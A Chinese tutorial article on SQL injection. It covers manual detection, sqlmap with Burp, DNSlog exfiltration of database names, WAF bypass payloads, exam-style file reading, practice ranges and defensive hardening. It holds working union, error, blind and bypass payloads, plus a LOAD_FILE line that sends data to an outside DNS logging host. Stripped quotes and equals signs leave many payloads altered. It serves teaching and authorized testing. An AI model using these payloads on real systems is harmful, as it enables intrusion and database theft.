尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

SQL注入从原理到WAF绕过:手工检测、sqlmap实战与防御加固

SQL注入从原理到WAF绕过:手工检测、sqlmap实战与防御加固 开头先交待一个场景前阵子有个朋友找我说他们内部的测试系统被安全扫描器扫出来一个疑似SQL注入点问我能不能帮忙看看。我说行先拿数据包让我瞅一眼。结果一看参数典型的字符型注入单引号一上页面直接报错报错信息里连SQL语句都带出来了。这种问题放在今天依然遍地都是不是说大家不知道SQL注入而是很多开发在写代码的时候根本没把用户输入当回事。这篇文章我不想写成一本书也不会通篇复制官方文档。我尽量用实战的视角把SQL注入从原理、手工判断、工具使用到绕过WAF的思路和落地方式一条线串下来。内容覆盖了最常见的联合查询、报错注入、盲注也包含sqlmap的进阶玩法、Burp Suite配合处理加密参数、内联注释绕WAF这类偏实战的场景。适合刚接触安全的同学从头看一遍也适合已经会注入但绕不过WAF、或者搞不清靶场怎么练的人针对性查阅。1. 先把原理讲透SQL注入到底是怎么发生的很多人觉得SQL注入就是“在输入框里打一段引号和 or 11”这种理解没错但有点浅。我见过不少同学拿着工具一顿扫出了数据也不知道为什么能出换了个场景就抓瞎。所以第一步我建议先把原理吃透哪怕你只是想拿漏洞盒子刷个分原理清楚后绕过思路才能打开。1.1 从一段有问题的代码说起几乎所有SQL注入都源于一个动作把用户输入直接拼到SQL语句里。拿PHP举例这是最典型的写法$id $_GET[id]; $sql SELECT * FROM users WHERE id . $id; $result mysqli_query($conn, $sql);这段代码的问题在于如果用户传入的 id 是1 OR 11那么最终执行的就是SELECT * FROM users WHERE id 1 OR 11这个条件恒为真所以数据表里所有记录都会被查出来。如果这里拼的是登录逻辑那就成了“万能密码”的雏形。Java、Python、Go里同样存在类似问题比如Java JDBC用字符串拼接String sql SELECT * FROM users WHERE id request.getParameter(id);本质都一样开发者信任了用户输入没有做边界区分。这就是SQL注入的根源不是框架选错了也不是数据库有什么漏洞而是代码把“数据”当成了“代码”来执行。1.2 注入的本质数据与代码的边界被打破用一个生活化的类比来解释门卫问你口令你回答“今天天气不错”。这是一个“数据”输入。可如果你回答的是一整句话“我说天气好你就开门现在我说了天气好你把门打开”——门卫如果真照着这句话操作那就属于把“输入的内容”当“指令”执行了。SQL注入就是这个逻辑。数据库本来的意图是“拿当前行数据的某个字段作为查询条件”但因为注入你传入的内容变成了“SQL指令”的一部分。攻击者的核心目标就是利用这句话法让数据库执行自己想执行的逻辑从而拿到不该拿的数据或者执行不该执行的操作。理解了这一点再看后面的各类注入手法就不会乱了。联合查询、报错、盲注、堆叠等等本质上都是“拼合法SQL指令”的不同姿势。1.3 六大注入类型的判断要点实操中常用的注入类型我整理成一张表方便对照注入类型核心思路判断方式数字型注入参数是整数不需要引号闭合输入1正常输入1 and 11正常1 and 12异常字符型注入参数是字符串需要闭合引号输入1报错1 and 11正常联合查询注入通过 UNION 拼接额外查询直接回显数据用 order by 确定列数后union select 1,2,3...报错注入让数据库报错将查询结果带进错误信息输入1 and updatexml(1,concat(0x7e,(select database())),1)-- -页面回显当前库名布尔盲注页面无数据回显但真假条件页面表现不同and 11正常and 12无数据逐字符猜解时间盲注真假条件下页面都无区别但可以通过延迟区分and if(11,sleep(3),0)若页面卡了3秒则条件成立这里要特别说明判断注入类型是整个流程里最要紧的一步。很多人拿sqlmap一把梭失败后不知道下一步怎么走就是因为没搞清这个注入到底是数字型还是字符型、是否需要闭合、被过滤了哪些符号。手工注入虽然慢但对锻炼判断能力特别有效千万别跳过。2. 手工注入全流程实操从找注入点到达库掌握了原理接下来就进入真正动手的环节。手工注入不是让你以后都用手敲而是让你理解自动工具在做的事情遇到工具失灵时还能有Plan B。2.1 第一步确定注入点和参数类型拿到一个有参数请求的目标测试环境或靶场第一步不是丢sqlmap而是先把数据包看看。通常注入点集中在GET参数URL里的id、page、keywordPOST参数登录名、搜索框、表单字段Cookie / HeaderUser-Agent、X-Forwarded-For有时候也会被记录到SQL查询里举个例子URL形如http://192.168.1.10/dvwa/vulnerabilities/sqli/?id1SubmitSubmit先用最笨的办法试探访问?id1页面正常显示一个用户的信息。访问?id1页面报错或显示异常。访问?id1 and 11如果页面还正常。访问?id1 and 12如果页面没有任何数据。第3步和第4步的差异基本可以确认存在数字型注入。如果把and 11改成and 11才奏效说明是字符型注入。记住单引号测试的目的是“打破原有的SQL语法结构”当你看到报错或页面行为变化时就该知道这里存在拼接。2.2 联合查询注入的完整思路确认注入点后如果页面有回显位有数据展示优先考虑联合查询。核心步骤如下第一步用 order by 猜列数1 order by 1 1 order by 2 1 order by 3页面正常但 order by 4 时报错说明查询结果是3列。order by 本质上是对返回的查询结果按字段位置排序超过实际列数就会报错这正是用来确认列数的经典方法。第二步构造 UNION SELECT1 union select 1,2,3如果页面上出现了“2”或“3”说明有对应回显位置。接下来只要把数字替换成你要的查询表达式即可比如1 union select 1,database(),user()第三步从库名到表名再到字段名最后拿数据1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()MySQL的information_schema是自动创建的元数据库存了所有库、表、字段的信息是联合查询时的“字典”。其他数据库也有类似机制比如PostgreSQL的information_schemaSQL Server的sysobjectsOracle的all_tables。思路一致只是语法不同。2.3 报错注入、布尔盲注、时间盲注的实战细节联合查询要求页面有回显位但很多场景下目标站点并不回显查询结果。此时就需要换思路。报错注入适合MySQL且开启了错误信息展示的场景。经典的 updatexml 报错id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)updatexml函数的第二个参数需要是XPath字符串当传入非法格式我们用concat拼出来了时MySQL会把参数内容回显到错误信息里。0x7e是波浪号~的十六进制编码用来保证拼接后的字符串不是合法XPath从而触发报错。这种方式效率不错但前提是错误信息不能被打码。布尔盲注适合页面连报错都不显示、但真假条件下页面表现不同的场景。判断手法是对比and 11和and 12一真一假然后逐字符猜解id1 and ascii(substr((select database()),1,1))100如果页面正常说明数据库名第一个字符的ASCII码大于100之后逐步缩小范围。纯手敲太慢一般用脚本或者直接上sqlmap的--techniqueB参数。时间盲注是最后的兜底手段。页面不管条件真假都没有任何差异时用延迟来传递信息id1 and if((select ascii(substr(database(),1,1))100),sleep(3),0)如果条件成立页面响应会卡3秒。思路和布尔盲注一样只是把“页面是否正常”这个信号换成了“页面是否延迟”。这个方法慢但适应面非常广。2.4 一个基于DVWA/Pikachu的完整练手案例以DVWA的SQL Injection模块为例安全级别调低后SQL语句大概是这样的SELECT first_name, last_name FROM users WHERE user_id $id;字符型注入输入1 union select user(),database()-- -就能在页面上看到当前数据库用户和库名。注意结尾的-- -是把后面的单引号注释掉否则引号不闭合还是会报语法错误。Pikachu靶场里也有SQL注入专题而且是中文界面每一步都有提示非常适合入门。我的建议是DVWA和Pikachu各刷一遍把每个安全级别都调一遍看同一处注入在“低、中、高”级别下怎么被过滤、怎么绕过这个过程比单纯看十篇教程有用得多。3. 工具化与自动化sqlmap及常见变形的应对手工注入练熟了接下来就可以引入自动化工具提升效率。sqlmap是目前最常用的SQL注入检测与利用工具覆盖了联合查询、报错、布尔盲注、时间盲注、堆叠注入、文件读写、命令执行等大量场景。3.1 最常用的sqlmap参数基础命令sqlmap -u http://target.com/item.php?id1 --dbs常用参数分组整理如下用途参数指定目标URL-u指定请求数据包文件-r枚举数据库--dbs指定当前库--current-db枚举某库的表-D 库名 --tables枚举某表的字段-D 库名 -T 表名 --columns爆破字段数据-D 库名 -T 表名 -C 字段 --dump提高检测深度--level3 --risk2指定注入技术--techniqueBEUST批量模式--batch指定tamper脚本--tamperbase64encode.py给新手一个建议--level和--risk不要一上来就拉满。level提高到3以上会开始检测Cookie和User-Agent等位置风险增大且耗时很长。我一般先从低level快速探测如果没检测出结果再针对性提高。3.2 配合Burp Suite抓包改包很多注入点不在URL里而是藏在POST表单的JSON参数、Cookie、甚至某个自定义Header中。直接用-u可能扫不出来。这时候打开Burp Suite用浏览器代理访问目标页面把请求数据包保存下来sqlmap -r req.txt --dbs-r会完整读取请求头、请求体、Cookie等信息比手拼URL可靠得多。我在实际测试里遇到过一个案例目标系统的参数是加密后的密文直接扔给sqlmap怎么都检测不到注入后来分析前端代码发现参数是base64编码先把参数解码再注入、编码后再请求问题迎刃而解。3.3 参数加密、base64、replace等变形的处理这里专门说一下参数变形因为现在的系统很少直接把参数裸传在URL里。常见的情况有三种第一种是base64整体加密。比如idMQ其实是id1。处理方式先用Burp的Decoder把参数解码手工测试确认存在注入点再用sqlmap的--tamperbase64encode.py让payload自动编码后再发送。第二种是replace()函数过滤。有些系统会把、、空格等字符直接replace为空字符串。此时可以用双写绕过比如1 uniunionon selecselectt user(),database()-- -如果目标把union替换为空那么uniunionon经过替换后正好变成union。这个技巧在CTF题里尤其常见实战中如果发现工具扫不出来可以手工确认过滤逻辑后手动绕过。第三种是请求参数中有sign签名校验。这种最麻烦因为即使你改了参数值签名校验也过不了。常规做法是分析前端JS找到签名算法本地写脚本生成合法签名后再发请求。sqlmap的--tamper只处理payload不处理外部签名所以这种场景往往需要写Python脚本配合requests库完成。3.4 高级技巧DNSlog外带数据遇到无回显、无报错、且数据库出网隔离的场景时间盲注也太慢时可以用DNSlog外带。原理是让数据库发起一个DNS解析请求请求域名中包含我们要查询的数据片段然后在自己的DNS日志里查看解析记录。典型的MySQL场景LOAD_FILE(CONCAT(\\\\, (SELECT database()), .dnslog.cn\\a))或者利用SELECT ... INTO OUTFILE把数据写到我们可控的路径下。这个方法需要数据库有相应的文件读写权限不是所有场景都适用但凡是能用上的场景都比时间盲注快一个数量级。测目标之前务必先确认授权范围不要对未授权的系统做这类测试。4. 绕过WAF实战从原理到绕法如果能顺利打到这一步那你已经把很多目标甩在身后了。接下来是本文的重头戏WAF绕过。说实话市面上绝大多数SQL注入教程都止步于“能注出来数据”一旦遇到WAF拦截就一脸懵。这一章把我实践过的思路和技巧系统讲一遍。4.1 WAF到底在拦什么WAF的工作机制可以简单理解为在客户端和服务器之间加了一道检查岗。它拿到请求后会先对URL、请求头、请求体做解码和规则匹配如果发现符合已知攻击特征就拦截。常见的检测维度关键字检测union、select、sleep、updatexml、information_schema等符号检测引号、注释符--、#、/* */、等号、空格语义分析高级WAF会还原SQL语句分析执行逻辑而不是简单匹配关键字频率检测短时间大量请求会触发封IP所以绕过WAF的思路也分成两类一类是让WAF匹配不到特征另一类是让WAF理解不了你的SQL但数据库能正确执行。前者靠编码、混淆、替换后者靠数据库解析特性和WAF解析差异。4.2 常见绕过技巧盘点按实际操作中遇到的情况我把技巧分为下面几类大小写混合针对只匹配小写规则的WAFUnIoN SeLeCt 1,2,3内联注释绕过MySQL的特有语法1 /*!50000union*/ /*!50000select*/ 1,2,3内联注释/*!...*/里的内容会被MySQL当成正常SQL执行但很多WAF只看注释结构容易漏过。等价函数替换比如substr换mid、sleep换benchmark、concat换concat_ws1 and if(mid((select database()),1,1)t,1,0)十六进制编码绕过把字符串转成十六进制1 union select 1,0x75736572,3 from usersHPPHTTP参数污染针对WAF只检查第一个参数、后端取最后一个参数的场景?id1 union select 1,2id3 from users分块传输把完整的payload拆成多块发送有些WAF不会重组分块内容但Web容器会正常处理。垃圾字符填充在关键字中插入注释符号uni/*!*/on sel/*!*/ect 1,2,3上面这几种方法不是万能的。每套WAF的规则都不一样实战中需要组合使用。我的经验是先搞清楚WAF报“拦截”是针对哪个关键字然后单独测试替换方案最后把完整的payload拼出来。不要直接拿一个复杂的payload去撞撞半天也不知道哪个环节被拦。4.3 locate(1,1)、内联注释这类“怪现象”怎么排查很多人在测试时会遇到一些看似“诡异”的情况比如locate(1,1) 正常locate(1,1) 报错这种差异通常是因为数据库版本或数据类型不同。locate函数在MySQL里接收字符串参数如果你的注入点是数字型讨论的重点就不是函数本身而是“为什么加引号后报错”。这类现象恰恰可以用来辅助判断注入类型也能帮我们确认WAF/过滤层到底拦了什么、不拦什么。排查思路是这样的保留最小payload逐个字符测试找出被过滤的点。确认被过滤的符号和关键字后从上面的绕过方案里找替代品。如果报错信息被吞掉用盲注方式判断是否命中。之前在一个内部系统上我发现or和and都被过滤了但||和没有被过滤于是所有布尔逻辑全部改成了符号。还有一次空格被过滤用注释符/**/替代空格顺利绕了过去。做绕过测试时最怕的是看到“拦截”就慌冷静拆解才有出路。4.4 本地部署一套WAF来测试绕过学绕过只靠理论不够最好本地搭一套WAF自己测。这里介绍长亭雷池WAF社区版它是目前比较方便的一种选择支持Docker Compose一键部署适合学习。在Ubuntu 22.04上安装Docker和Compose后执行官方提供的命令即可git clone https://github.com/chaitin/safeline.git cd safeline docker compose up -d部署完成后通过浏览器访问管理后台把本机部署的DVWA或其他靶场站点添加为“防护站点”。之后你再用sqlmap或手工payload去测就能直观看到哪些请求被拦截、被哪个规则拦截。开源WAF的好处是规则可调你能改规则观察绕过效果这在纯黑盒环境下做不到。有一点要提醒雷池社区版默认配置的检测引擎已经足够应付很多基础nuclei模板和sqlmap默认payload了但这不代表它代表所有商业WAF。绕不过雷池不代表绕不过别的WAF绕过雷池也不代表能通杀其它产品。做研究没问题针对真实目标测试时一定要在授权范围内这类工具不能用于未授权系统。5. 练手靶场和成长路线这个标题可能看起来有点“营销”但学习路径确实重要。我见过太多人对着真实网站练手踩红线或者刷了一堆“通关截图”但换个靶场就不会了。这一章把主流靶场和练习思路整理一下。5.1 四大靶场横向对比靶场特点适合人群DVWA开箱即用本地PHP环境等级切换明显纯新手入门Pikachu中文界面漏洞类型全附带原理说明中文用户入门CTFHub技能树在线靶场每题一个技能点梯度清晰想刷题巩固的人CTFshow web入门题目量大覆盖Web常见漏洞有难度分级有一定基础后刷题n1book偏CTF向注重思路引导想进阶打CTF的人我自己的经验是先花一周时间把DVWA和Pikachu的全部SQL注入相关关卡走一遍每个解释都看明白而不是光点下一步。然后去CTFHub技能树刷SQL注入专题那里面的题型比靶场更贴近实战能训练你在不同场景下的判断能力。5.2 CTF题型怎么练以CTFHub技能树为例CTFHub技能树里的SQL注入专题从“整数型注入”“字符型注入”“报错注入”“布尔盲注”“时间盲注”到“堆叠注入”层层递进。建议顺序是先做整数型再做字符型再做报错注入最后做盲注。拿其中的整数型注入举例后端SQL是SELECT * FROM news WHERE id $id先测?id1页面正常测?id1页面报错或显示异常测?id1 and 11正常?id1 and 12无内容。确认数字型后直接上联合查询order by 猜列数union select 拿数据。一题做完记录一下关键步骤形成自己的模板。CTFshow里的题型会更花哨一些有过滤绕过、二次注入、宽字节注入等适合在基本功扎实之后挑战。这类题别急着看writeup先自己想卡住两小时再看解题思路效果最好。5.3 目标导向的考证学习CISP-PTE案例分析有些同学的目标是拿CISP-PTE这类证书里面确实涉及SQL注入的实际操作。一个比较典型的案例题是通过SQL注入漏洞读取服务器上的/tmp/360/key文件内容。这类题目的考点不只是“注出数据”还要结合文件读写。思路一般是先用SQL注入拿到当前数据库用户权限。如果用户有FILE权限且secure_file_priv没限制尝试LOAD_FILE。构造UNION SELECT LOAD_FILE(/tmp/360/key)。MySQL的LOAD_FILE函数可以读取服务器上的文件但需要数据库用户拥有FILE权限且PHP/中间件用户对文件有读取权限。这就是为什么考试要“读文件”而不是“注数据”——它在考察你能否把注入能力转换成文件读取能力。类似的还有通过注入写shell的场景。这类操作对权限和环境的要求很高实战中碰到的情况往往比考试复杂得多但思路是相通的一层一层拔权限找可利用点。我不鼓励用这些技术去打未授权的系统但在授权的靶场和考试环境中它们是必会的基本功。5.4 GitHub等平台怎么快速找优质项目想找练习源代码或学习资料GitHub是目前最直接的地方。搜索语法我给几个常用的sqlmap sqli-labs DVWA pikachu waf bypass如果你想找“某个靶场的部署脚本”可以直接搜docker dvwa docker sqli-labs如果你想研究某个CMS的SQL注入可以搜wordpress sql injection discuz sql injectionGitHub搜索本身不复杂关键是会过滤。找学习项目时优先看star数和最近更新时间能个人部署尽量自己部署既方便又安全。不要对着公网上的站点跑扫描器轻则触发风控、重则惹上法律问题完全没必要。6. 防御与加固攻守互换才能成长做攻防研究的人如果只懂攻击不懂防御思路迟早会受限。反过来理解了防御手段才能在攻击时绕过得更有针对性。这一章从开发者和维护者的角度讲一下SQL注入的防线。6.1 参数化查询是最核心的一道防线防御SQL注入最有效的方式就是参数化查询。拿Java的PreparedStatement举例PreparedStatement ps conn.prepareStatement(SELECT * FROM users WHERE id ?); ps.setInt(1, userId); ResultSet rs ps.executeQuery();这里参数?只作为数据传入不参与SQL语句解析所以无论用户输入什么内容数据库都把它当成纯数据来处理。PHP里对应的是PDO预处理$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);只要代码里SQL语句的骨架是固定的、值是绑定传入的注入就不存在。这比任何WAF都靠谱属于从源头解决问题。6.2 输入校验与过滤的适用场景参数化查询不是万能的。有些场景下SQL语句的结构本身需要动态变化比如动态排序字段、动态表名此时参数化查询帮不上忙只能做白名单校验。比如排序字段限定为白名单数组不是白名单就直接拒绝。输入过滤一般放在参数化查询之外做纵深防御常见的过滤项包括单引号、双引号--、#、/* */注释符union、select、sleep等关键字分号、括号、等号但过滤很容易被绕过所以不能作为唯一防线。我见过不少系统用黑名单过滤后发现还是有绕过就是因为“你以为过滤干净了实际上WAF解析和数据库解析不一样”。更稳妥的方案是参数化查询兜底白名单逻辑兜住特殊场景过滤只是额外一层。6.3 WAF部署与误报调优部署WAF是很多企业的基础操作比如雷池这类产品可以放在反向代理层。但WAF有误报和漏报的问题需要长期调优。我接触过一些运维同学把WAF开成“观察模式”跑了几个月不敢开“拦截”怕误伤正常业务。调优的核心是看日志。先开观察模式收集一段时间的命中情况排除正常业务误报再逐步开启拦截。规则不是越严越好而是要在业务可用性和安全性之间取平衡。如果业务对URL格式有强校验配合白名单能大幅降低误报率。6.4 数据库权限最小化很多注入之所以危害巨大是因为数据库用户权限太大。应用连接数据库建议使用最小权限账号只授予所需的SELECT、INSERT、UPDATE、DELETE权限关闭FILE权限和超级权限。有一个很典型的案例应用账号用了root连库一旦注入就能读到任意表、写文件、甚至拿到服务器权限。如果账号只对业务库有查询权限注入的破坏力就大幅降低。文件读写权限默认关闭是数据库加固的基本要求。6.5 监控与日志审计即使前面所有防线都失效了日志审计也能帮助及时发现攻击行为。建议对数据库慢查询日志、应用访问日志做集中采集和告警。例如短时间内出现大量包含union、sleep、information_schema等特征的请求大概率是在被扫描或注入测试。安全不会因为上了某一种产品就万事大吉攻防永远是动态的。作为个人保持研究的习惯很重要作为团队把每一步安全动作落到流程里比临时抱佛脚有效得多。我个人在实际操作中的体会是SQL注入算不上“难”但它特别考验人的分析精度。工具能帮你快速验证猜想但真正决定你能不能走到最后一步的是你对SQL语法、数据库特性和业务逻辑的理解。如果你正在学建议从本地靶场练起把每个关卡做透再谈高级技巧如果你已经在路上遇到绕不过的WAF不要硬撞回来分析日志、拆解规则、再构造一次你会发现那些花哨的绕过手法背后逻辑其实都很朴素。
返回列表